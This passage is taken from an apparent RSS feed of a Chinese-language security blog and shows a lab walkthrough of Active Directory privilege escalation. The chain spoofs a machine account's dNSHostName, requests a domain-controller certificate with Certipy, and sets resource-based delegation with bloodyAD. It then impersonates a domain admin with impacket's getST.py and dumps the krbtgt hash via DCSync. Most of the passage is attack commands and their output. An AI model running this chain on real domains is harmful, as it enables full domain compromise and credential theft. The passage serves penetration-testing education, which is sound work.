&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[+]&lt;/span&gt; &lt;span class="n"&gt;CN&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;cve&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;CN&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;Computers&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;DC&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;crashlab&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;DC&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;local&lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="n"&gt;dnsHostName&lt;/span&gt; &lt;span class="n"&gt;has&lt;/span&gt; &lt;span class="n"&gt;been&lt;/span&gt; &lt;span class="n"&gt;updated&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;验证属性是否已正确配置：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-ps1" data-lang="ps1"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;python&lt;/span&gt; &lt;span class="n"&gt;bloodyAD&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;py&lt;/span&gt; &lt;span class="n"&gt;-d&lt;/span&gt; &lt;span class="n"&gt;crashlab&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;local&lt;/span&gt; &lt;span class="n"&gt;-u&lt;/span&gt; &lt;span class="n"&gt;testuser&lt;/span&gt; &lt;span class="n"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;totoTOTOtoto1234*&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="n"&gt;-host&lt;/span&gt; &lt;span class="mf"&gt;10.100&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;10&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;12&lt;/span&gt; &lt;span class="n"&gt;get&lt;/span&gt; &lt;span class="n"&gt;object&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;CN=cve,CN=Computers,DC=crashlab,DC=local&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="n"&gt;-attr&lt;/span&gt; &lt;span class="n"&gt;dNSHostName&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;distinguishedName&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="n"&gt;CN&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;cve&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;CN&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;Computers&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;DC&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;crashlab&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;DC&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;local&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;dNSHostName&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="n"&gt;CRASHDC&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;crashlab&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;local&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;接下来，我们使用 &lt;a href="https://github.com/ly4k/Certipy" target="_blank" rel="noopener"&gt;Certipy&lt;/a&gt; 请求 &lt;code&gt;cve&lt;/code&gt; 计算机的证书：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-ps1" data-lang="ps1"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;# 10.100.10.13 is the ADCS server&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;certipy&lt;/span&gt; &lt;span class="n"&gt;req&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;crashlab.local/cve$:CVEPassword1234*@10.100.10.13&amp;#39;&lt;/span&gt; &lt;span class="n"&gt;-template&lt;/span&gt; &lt;span class="n"&gt;Machine&lt;/span&gt; &lt;span class="n"&gt;-dc-ip&lt;/span&gt; &lt;span class="mf"&gt;10.100&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;10&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;12&lt;/span&gt; &lt;span class="n"&gt;-ca&lt;/span&gt; &lt;span class="nb"&gt;crashlab-ADCS&lt;/span&gt;&lt;span class="n"&gt;-CA&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Certipy&lt;/span&gt; &lt;span class="n"&gt;v3&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;0&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="n"&gt;by&lt;/span&gt; &lt;span class="n"&gt;Oliver&lt;/span&gt; &lt;span class="n"&gt;Lyak&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ly4k&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Requesting&lt;/span&gt; &lt;span class="n"&gt;certificate&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Successfully&lt;/span&gt; &lt;span class="n"&gt;requested&lt;/span&gt; &lt;span class="n"&gt;certificate&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Request&lt;/span&gt; &lt;span class="n"&gt;ID&lt;/span&gt; &lt;span class="n"&gt;is&lt;/span&gt; &lt;span class="mf"&gt;12&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Got&lt;/span&gt; &lt;span class="n"&gt;certificate&lt;/span&gt; &lt;span class="n"&gt;with&lt;/span&gt; &lt;span class="n"&gt;DNS&lt;/span&gt; &lt;span class="n"&gt;Host&lt;/span&gt; &lt;span class="n"&gt;Name&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;CRASHDC.crashlab.local&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Saved&lt;/span&gt; &lt;span class="n"&gt;certificate&lt;/span&gt; &lt;span class="n"&gt;and&lt;/span&gt; &lt;span class="n"&gt;private&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;crashdc.pfx&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;现在，我们尝试使用 &lt;a href="https://github.com/ly4k/Certipy" target="_blank" rel="noopener"&gt;Certipy&lt;/a&gt; 和之前请求的证书获取 TGT：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-ps1" data-lang="ps1"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;certipy&lt;/span&gt; &lt;span class="n"&gt;auth&lt;/span&gt; &lt;span class="n"&gt;-pfx&lt;/span&gt; &lt;span class="p"&gt;./&lt;/span&gt;&lt;span class="n"&gt;crashdc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;pfx&lt;/span&gt; &lt;span class="n"&gt;-dc-ip&lt;/span&gt; &lt;span class="mf"&gt;10.100&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;10&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;12&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Certipy&lt;/span&gt; &lt;span class="n"&gt;v3&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;0&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="n"&gt;by&lt;/span&gt; &lt;span class="n"&gt;Oliver&lt;/span&gt; &lt;span class="n"&gt;Lyak&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ly4k&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Using&lt;/span&gt; &lt;span class="n"&gt;principal&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="n"&gt;crashdc&lt;/span&gt;&lt;span class="p"&gt;$&lt;/span&gt;&lt;span class="nv"&gt;@crashlab&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;local&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Trying&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;get&lt;/span&gt; &lt;span class="n"&gt;TGT&lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[-]&lt;/span&gt; &lt;span class="n"&gt;Got&lt;/span&gt; &lt;span class="n"&gt;error&lt;/span&gt; &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="n"&gt;trying&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt; &lt;span class="n"&gt;TGT&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Kerberos&lt;/span&gt; &lt;span class="n"&gt;SessionError&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="n"&gt;KDC_ERR_PADATA_TYPE_NOSUPP&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;KDC&lt;/span&gt; &lt;span class="n"&gt;has&lt;/span&gt; &lt;span class="n"&gt;no&lt;/span&gt; &lt;span class="n"&gt;support&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;padata&lt;/span&gt; &lt;span class="n"&gt;type&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;如果 PKINIT 在此 AD 上不可用，我们可以尝试使用 &lt;a href="https://github.com/CravateRouge/bloodyAD" target="_blank" rel="noopener"&gt;bloodyAD&lt;/a&gt; 的证书认证功能和 RBCD 技术：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-ps1" data-lang="ps1"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;openssl&lt;/span&gt; &lt;span class="n"&gt;pkcs12&lt;/span&gt; &lt;span class="n"&gt;-in&lt;/span&gt; &lt;span class="n"&gt;crashdc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;pfx&lt;/span&gt; &lt;span class="n"&gt;-out&lt;/span&gt; &lt;span class="n"&gt;crashdc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;pem&lt;/span&gt; &lt;span class="n"&gt;-nodes&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;python&lt;/span&gt; &lt;span class="n"&gt;bloodyAD&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;py&lt;/span&gt; &lt;span class="n"&gt;-d&lt;/span&gt; &lt;span class="n"&gt;crashlab&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;local&lt;/span&gt; &lt;span class="n"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;:crashdc.pem&amp;#34;&lt;/span&gt; &lt;span class="n"&gt;-u&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;cve$&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="n"&gt;-host&lt;/span&gt; &lt;span class="mf"&gt;10.100&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;10&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;12&lt;/span&gt; &lt;span class="n"&gt;add&lt;/span&gt; &lt;span class="n"&gt;rbcd&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;CRASHDC$&amp;#39;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;CVE$&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[+]&lt;/span&gt; &lt;span class="n"&gt;CVE&lt;/span&gt;&lt;span class="p"&gt;$&lt;/span&gt; &lt;span class="n"&gt;SID&lt;/span&gt; &lt;span class="n"&gt;is&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="n"&gt;S&lt;/span&gt;&lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;1&lt;/span&gt;&lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;5&lt;/span&gt;&lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;21&lt;/span&gt;&lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;1945936656&lt;/span&gt;&lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;2616711065&lt;/span&gt;&lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;1665664270&lt;/span&gt;&lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;1134&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[+]&lt;/span&gt; &lt;span class="n"&gt;Attribute&lt;/span&gt; &lt;span class="nb"&gt;msDS-AllowedToActOnBehalfOfOtherIdentity&lt;/span&gt; &lt;span class="n"&gt;correctly&lt;/span&gt; &lt;span class="nb"&gt;set &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[+]&lt;/span&gt; &lt;span class="n"&gt;Delegation&lt;/span&gt; &lt;span class="n"&gt;rights&lt;/span&gt; &lt;span class="n"&gt;modified&lt;/span&gt; &lt;span class="n"&gt;successfully&lt;/span&gt;&lt;span class="p"&gt;!&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;CVE&lt;/span&gt;&lt;span class="p"&gt;$&lt;/span&gt; &lt;span class="n"&gt;can&lt;/span&gt; &lt;span class="n"&gt;now&lt;/span&gt; &lt;span class="n"&gt;impersonate&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt; &lt;span class="n"&gt;on&lt;/span&gt; &lt;span class="n"&gt;CRASHDC&lt;/span&gt;&lt;span class="p"&gt;$&lt;/span&gt; &lt;span class="n"&gt;via&lt;/span&gt; &lt;span class="n"&gt;S4U2Proxy&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;设置委派权限后，我们可以使用 &lt;a href="https://github.com/SecureAuthCorp/impacket" target="_blank" rel="noopener"&gt;impacket&lt;/a&gt; 的 &lt;code&gt;getST.py&lt;/code&gt; 工具冒充域管理员（在本例中为 &lt;code&gt;emacron&lt;/code&gt;）并获取 TGT：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-ps1" data-lang="ps1"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;getST&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;py&lt;/span&gt; &lt;span class="n"&gt;-spn&lt;/span&gt; &lt;span class="n"&gt;LDAP&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="n"&gt;CRASHDC&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;CRASHLAB&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;LOCAL&lt;/span&gt; &lt;span class="n"&gt;-impersonate&lt;/span&gt; &lt;span class="n"&gt;emacron&lt;/span&gt; &lt;span class="n"&gt;-dc-ip&lt;/span&gt; &lt;span class="mf"&gt;10.100&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;10&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;12&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;crashlab.local/cve$:CVEPassword1234*&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Impacket&lt;/span&gt; &lt;span class="n"&gt;v0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;9&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;24&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="n"&gt;Copyright&lt;/span&gt; &lt;span class="mf"&gt;2021&lt;/span&gt; &lt;span class="n"&gt;SecureAuth&lt;/span&gt; &lt;span class="n"&gt;Corporation&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Getting&lt;/span&gt; &lt;span class="n"&gt;TGT&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;user&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Impersonating&lt;/span&gt; &lt;span class="n"&gt;emacron&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Requesting&lt;/span&gt; &lt;span class="n"&gt;S4U2self&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Requesting&lt;/span&gt; &lt;span class="n"&gt;S4U2Proxy&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Saving&lt;/span&gt; &lt;span class="n"&gt;ticket&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="n"&gt;emacron&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;ccache&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;cp &lt;/span&gt;&lt;span class="n"&gt;emacron&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;ccache&lt;/span&gt; &lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;export&lt;/span&gt; &lt;span class="n"&gt;KRB5CCNAME&lt;/span&gt;&lt;span class="p"&gt;=/&lt;/span&gt;&lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="n"&gt;emacron&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;ccache&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;最后，我们使用 &lt;a href="https://github.com/SecureAuthCorp/impacket" target="_blank" rel="noopener"&gt;impacket&lt;/a&gt; 的 &lt;code&gt;secretsdump.py&lt;/code&gt; 工具，通过获取的 TGT 执行 DCSync：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-ps1" data-lang="ps1"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;secretsdump&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;py&lt;/span&gt; &lt;span class="n"&gt;-user-status&lt;/span&gt; &lt;span class="n"&gt;-just-dc-ntlm&lt;/span&gt; &lt;span class="n"&gt;-just-dc-user&lt;/span&gt; &lt;span class="n"&gt;krbtgt&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;crashlab.local/emacron@crashdc.crashlab.local&amp;#39;&lt;/span&gt; &lt;span class="n"&gt;-k&lt;/span&gt; &lt;span class="n"&gt;-no-pass&lt;/span&gt; &lt;span class="n"&gt;-dc-ip&lt;/span&gt; &lt;span class="mf"&gt;10.100&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;10&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;12&lt;/span&gt; &lt;span class="n"&gt;-target-ip&lt;/span&gt; &lt;span class="mf"&gt;10.100&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;10&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;12&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Impacket&lt;/span&gt; &lt;span class="n"&gt;v0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;9&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;24&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="n"&gt;Copyright&lt;/span&gt; &lt;span class="mf"&gt;2021&lt;/span&gt; &lt;span class="n"&gt;SecureAuth&lt;/span&gt; &lt;span class="n"&gt;Corporation&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Dumping&lt;/span&gt; &lt;span class="n"&gt;Domain&lt;/span&gt; &lt;span class="n"&gt;Credentials&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;domain&lt;/span&gt;&lt;span class="p"&gt;\&lt;/span&gt;&lt;span class="n"&gt;uid&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="n"&gt;rid&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="n"&gt;lmhash&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="n"&gt;nthash&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Using&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;DRSUAPI&lt;/span&gt; &lt;span class="n"&gt;method&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;get&lt;/span&gt; &lt;span class="n"&gt;NTDS&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;DIT&lt;/span&gt; &lt;span class="n"&gt;secrets&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;krbtgt&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;502&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="n"&gt;aad3b435b51404eeaad3b435b51404ee&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="n"&gt;492850f62466ef2bd1f4a56f112e01f1&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;Disabled&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Cleaning&lt;/span&gt; &lt;span class="n"&gt;up&lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description></item><item><title>玩转 Kerberos</title><link>https://cravaterouge.com/zh/articles/ad-kerberos/</link><pubDate>Tue, 05 Mar 2024 00:00:00 +0000</pubDate><guid>https://cravaterouge.com/zh/articles/ad-kerberos/</guid><description>&lt;blockquote&gt;
&lt;p&gt;⚠️ 自从提交 &lt;a href="https://github.com/CravateRouge/bloodyAD/commit/54babd733aad477f3099b8e9db50b6436918d858" target="_blank" rel="noopener"&gt;54babd7&lt;/a&gt; 起，支持在没有 LDAPS 的情况下交换敏感信息。&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;大多数情况下，我使用 NTLM 认证，但在某些情况下，我们只有 Kerberos 的 TGT 或 ST，如果不利用它来尝试提升我们在 AD 中的权限，那就太可惜了。那么让我们看看如何使用 &lt;a href="https://github.com/CravateRouge/bloodyAD" target="_blank" rel="noopener"&gt;bloodyAD&lt;/a&gt; 来实现这一点。&lt;/p&gt;
&lt;h2 id="linux"&gt;Linux&lt;/h2&gt;
